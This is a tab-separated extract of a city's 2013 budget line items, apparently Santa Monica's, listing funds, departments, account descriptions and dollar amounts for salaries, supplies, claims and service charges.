154	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	588090.0	FURNITURE & FURNISHINGS	816.0	 Supplies and Expenses	2013	5100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5100.0
155	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2013	700601.0	0	0.0	174912.0	0	0	0.0	69195	0.0	0	0	0.0	944708.0
156	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522210.0	UTILITIES - TELEPHONE	810.0	 Supplies and Expenses	2013	30849.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	30849.0
157	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522720.0	MILEAGE	810.0	 Supplies and Expenses	2013	96.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	96.0
158	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2013	2040.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2040.0
159	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	522310.0	OFFICE SUPPLIES / EXPENSE	816.0	 Supplies and Expenses	2013	25171.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25171.0
160	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2013	5488.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5488.0
161	B1	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522030.0	INVESTIGATION EXPENSES		 Supplies and Expenses	2013	38000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	38000.0
162	B1	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522070.0	DEPOSITION COSTS		 Supplies and Expenses	2013	56000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	56000.0
163	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2013	5556.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5556.0
164	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	544120.0	PERIODICALS	804.0	 Supplies and Expenses	2013	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
165	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2013	3000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3000.0
166	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2013	60000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	60000.0
167	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	401560.0	ZONING APPR/VARIANCE FEES	612.0	Charges for Service	2013	-903186.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-903186.0
168	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	401290.0	POLICE-MOVIE JOBS	612.0	Charges for Service	2013	-408000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-408000.0
169	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511490.0	OVERTIME	816.0	Salaries and Wages	2013	4151.0	0	0.0	0.0	0	0	0.0	42	0.0	0	0	0.0	4193.0
170	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2013	2200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2200.0
171	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	533020.0	GENERAL LIABILITY / AUTO	816.0	 Supplies and Expenses	2013	6334.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6334.0
172	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	577410.0	SITE IMPROVEMENTS	816.0	 Supplies and Expenses	2013	7758.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7758.0
173	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2013	8000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8000.0
174	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2013	12138.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12138.0
175	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	555210.0	TRAINING	810.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
176	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	544010.0	SPECIAL DEPARTMENT SUPPLIES	810.0	 Supplies and Expenses	2013	25888.0	0	0.0	0.0	0	0	0.0	116000	-93000.0	0	0	0.0	48888.0
177	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522710.0	AUTO REIMBURSEMENT	816.0	 Supplies and Expenses	2013	2500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2500.0
178	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522720.0	MILEAGE	816.0	 Supplies and Expenses	2013	4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4000.0
179	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	566550.0	COMMUNITY FESTIVALS	810.0	 Supplies and Expenses	2013	13668.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13668.0
180	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2013	1160.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1160.0
181	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	533020.0	GENERAL LIABILITY / AUTO	816.0	 Supplies and Expenses	2013	79326.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	79326.0
182	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2013	7590.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7590.0
183	B1	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522000.0	UNRECOVERED INSURANCE LOSS		 Supplies and Expenses	2013	799566.11	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	799566.11
184	B1	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522010.0	PAYMENT OF CLAIMS		 Supplies and Expenses	2013	1553389.93	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1553389.93
185	B1	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522100.0	EXPERT WITNESS COSTS		 Supplies and Expenses	2013	125000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	125000.0
186	B1	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	555210.0	TRAINING		 Supplies and Expenses	2013	20000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20000.0
187	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2013	2200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2200.0
188	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522610.0	EQUIPMENT RENTAL	804.0	 Supplies and Expenses	2013	163102.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	163102.0
189	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522620.0	RENT	804.0	 Supplies and Expenses	2013	132475.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	132475.0
190	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2013	70000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	70000.0
191	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401620.0	LIBRARY PARKING LOT	608.0	Licenses and Permits	2013	-35000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-35000.0
192	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	401900.0	FALSE ALARM	612.0	Charges for Service	2013	-315288.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-315288.0
193	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2013	7037212.0	0	0.0	0.0	0	0	0.0	70372	0.0	0	0	0.0	7107584.0
194	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511490.0	OVERTIME	804.0	Salaries and Wages	2013	1833.0	0	0.0	0.0	0	0	0.0	18	0.0	0	0	0.0	1851.0
195	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522720.0	MILEAGE	804.0	 Supplies and Expenses	2013	14000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	14000.0
196	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	555210.0	TRAINING	804.0	 Supplies and Expenses	2013	9500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9500.0
197	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511500.0	TEMPORARY EMPLOYEES	816.0	Salaries and Wages	2013	5670.0	0	0.0	0.0	0	0	0.0	57	0.0	0	0	0.0	5727.0
198	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	522620.0	RENT	816.0	 Supplies and Expenses	2013	70826.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	70826.0
199	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	588090.0	FURNITURE & FURNISHINGS	816.0	 Supplies and Expenses	2013	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
200	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511730.0	WORKERS' COMP INSURANCE	816.0	Salaries and Wages	2013	8595.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8595.0
201	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522540.0	ADVERTISING	816.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
202	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	533020.0	GENERAL LIABILITY / AUTO	816.0	 Supplies and Expenses	2013	7718.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7718.0
203	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	555110.0	LEGAL EXPENSE	816.0	 Supplies and Expenses	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
204	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2013	2600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2600.0
205	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	544120.0	PERIODICALS	816.0	 Supplies and Expenses	2013	399.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	399.0
206	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2013	121233.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	121233.0
207	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569110.0	CA HERITAGE SQUARE MUSEUM	810.0	 Supplies and Expenses	2013	19500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	19500.0
208	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569130.0	SM HISTORICAL SOCIETY	810.0	 Supplies and Expenses	2013	6100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6100.0
209	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569200.0	SM PLAYHOUSE	810.0	 Supplies and Expenses	2013	19500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	19500.0
210	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2013	45000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	45000.0
211	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2013	30000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	30000.0
212	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	400890.0	CITY OF LA  - SEWER REPAIR	650.0	Charges for Service	2013	-388402.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-388402.0
213	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2013	10202.0	0	0.0	0.0	0	0	0.0	102	0.0	0	0	0.0	10304.0
214	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533590.0	CONF / MTGS / TRAVEL-GD	804.0	 Supplies and Expenses	2013	6966.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6966.0
215	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522620.0	RENT	804.0	 Supplies and Expenses	2013	142830.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	142830.0
216	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2013	108278.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	108278.0
217	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	511490.0	OVERTIME	804.0	Salaries and Wages	2013	20123.0	0	0.0	0.0	0	0	0.0	201	0.0	0	0	0.0	20324.0
218	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2013	119567.0	0	0.0	0.0	0	0	0.0	1196	0.0	0	0	0.0	120763.0
219	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2013	28000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	28000.0
220	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
221	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2013	100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100.0
222	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2013	125000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	125000.0
223	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2013	38160.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	38160.0
224	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522620.0	RENT	806.0	 Supplies and Expenses	2013	58000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	58000.0
225	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	533020.0	GENERAL LIABILITY / AUTO	806.0	 Supplies and Expenses	2013	577219.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	577219.0
226	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2013	6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6000.0
227	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2013	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2000.0
228	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2013	13500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13500.0
229	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	533020.0	GENERAL LIABILITY / AUTO	810.0	 Supplies and Expenses	2013	15283.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15283.0
230	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	522110.0	UTIL - LIGHT / POWER	810.0	 Supplies and Expenses	2013	18429.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	18429.0
231	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	533230.0	SECURITY SYSTEMS	810.0	 Supplies and Expenses	2013	1059.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1059.0
232	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511490.0	OVERTIME	816.0	Salaries and Wages	2013	63743.0	0	0.0	0.0	0	0	0.0	637	0.0	0	0	0.0	64380.0
233	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2013	16074.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	16074.0
234	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2013	510.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	510.0
235	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2013	900.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	900.0
236	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	522500.0	BOARDS AND COMMISSIONS	816.0	 Supplies and Expenses	2013	6273.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6273.0
237	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2013	27120.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	27120.0
238	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569140.0	VIRGINIA AVENUE PROJECT	810.0	 Supplies and Expenses	2013	28000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	28000.0
239	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2013	7850.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7850.0
240	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2013	100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100.0
241	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511040.0	COUNCIL/BOARD ALLOWANCE	804.0	Salaries and Wages	2013	104977.0	0	0.0	0.0	0	0	0.0	1050	0.0	0	0	0.0	106027.0
242	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533500.0	CONF / MTGS / TRAVEL-RH	804.0	 Supplies and Expenses	2013	6965.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6965.0
243	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2013	17900.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	17900.0
244	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
245	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2013	1484295.0	0	0.0	25752.0	0	0	0.0	15100	0.0	-25117	0	0.0	1500030.0
246	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2013	35000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	35000.0
247	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
248	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	533230.0	SECURITY SYSTEMS	804.0	 Supplies and Expenses	2013	4413.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4413.0
249	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	544040.0	BOOKS / PAMPHLETS	816.0	 Supplies and Expenses	2013	780.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	780.0
250	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2013	1440065.0	0	0.0	-16224.0	0	0	0.0	14238	0.0	0	0	0.0	1438079.0
251	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511490.0	OVERTIME	804.0	Salaries and Wages	2013	4123.0	0	0.0	0.0	0	0	0.0	41	0.0	0	0	0.0	4164.0
252	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
253	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2013	2600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2600.0
254	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511500.0	TEMPORARY EMPLOYEES	806.0	Salaries and Wages	2013	64542.0	0	0.0	0.0	0	0	0.0	645	0.0	0	0	0.0	65187.0
255	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522130.0	UTILITIES - WATER	806.0	 Supplies and Expenses	2013	5100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5100.0
256	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522610.0	EQUIPMENT RENTAL	806.0	 Supplies and Expenses	2013	110000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	110000.0
257	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
258	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544020.0	AMMO/PROTECTIVE CLOTHING-SWORN	806.0	 Supplies and Expenses	2013	200000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	200000.0
259	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544040.0	BOOKS / PAMPHLETS	806.0	 Supplies and Expenses	2013	2943.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2943.0
260	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544090.0	MEDICAL/FIRST AID SUPPLIES	806.0	 Supplies and Expenses	2013	3060.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3060.0
261	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	555250.0	MEDICAL SERVICES	806.0	 Supplies and Expenses	2013	100000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100000.0
262	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2013	300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	300.0
263	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2013	82440.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	82440.0
264	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
265	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2013	40920.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	40920.0
266	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2013	2040.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2040.0
267	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2013	16000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	16000.0
268	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	511920.0	UNIFORM / TOOL ALLOWANCE	806.0	Salaries and Wages	2013	6300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6300.0
269	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	555250.0	MEDICAL SERVICES	806.0	 Supplies and Expenses	2013	21664.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	21664.0
